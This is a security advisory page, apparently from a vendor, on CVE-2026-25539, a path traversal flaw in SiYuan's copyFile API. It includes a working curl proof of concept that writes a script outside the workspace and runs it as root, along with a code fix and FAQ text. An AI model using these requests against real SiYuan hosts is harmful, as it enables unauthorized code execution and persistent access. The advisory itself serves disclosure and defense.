CVE-2026-25539

The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.

• Affected Version: 3.5.3 (and likely all prior versions)

Details

• Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
• Location: kernel/api/file.go - copyFile function

// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg["src"].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...

    dest := arg["dest"].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.

PoC

Step 1: Upload malicious content to workspace

curl -X POST "http://target:6806/api/file/putFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -F "path=/data/assets/malicious.sh" \
  -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'

Step 2: Copy to arbitrary location (e.g., /tmp)

curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Response: {"code":0,"msg":"","data":null}

Step 3: Verify file was written outside workspace

cat /tmp/malicious.sh
# Output: #!/bin/sh
#         id > /tmp/pwned.txt
#         hostname >> /tmp/pwned.txt

Attack Scenarios

RCE Demonstration

RCE was successfully demonstrated by writing a script and executing it:

# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh

# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...

Solution

d7f790755edf8c78d2b4176171e5a0cdcd720feb

An authenticated attacker (with API Token) can:

1. Achieve Remote Code Execution with the privileges of the SiYuan process
2. Establish persistent backdoor access via SSH keys
3. Compromise the entire host system
4. Access sensitive data on the same network (lateral movement)

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-25539 has a CVSS score of 9.1 (Critical). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Add path validation to ensure dest is within the workspace directory:

func copyFile(c *gin.Context) {
    // ...
    dest := arg["dest"].(string)

    // Add validation
    if !util.IsSubPath(util.WorkspaceDir, dest) {
        ret.Code = -1
        ret.Msg = "dest path must be within workspace"
        return
    }

    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

1. What is CVE-2026-25539? CVE-2026-25539 is a critical-severity path traversal vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 0.0.0-20260126094835-d5d10dd41b0c. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-25539? CVE-2026-25539 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-25539? github.com/siyuan-note/siyuan/kernel (go) versions <= 0.0.0-20260126094835-d5d10dd41b0c is affected.
4. Is there a fix for CVE-2026-25539? No fixed version is listed for CVE-2026-25539 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-25539 exploitable, and should I be worried? Whether CVE-2026-25539 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25539 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25539? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.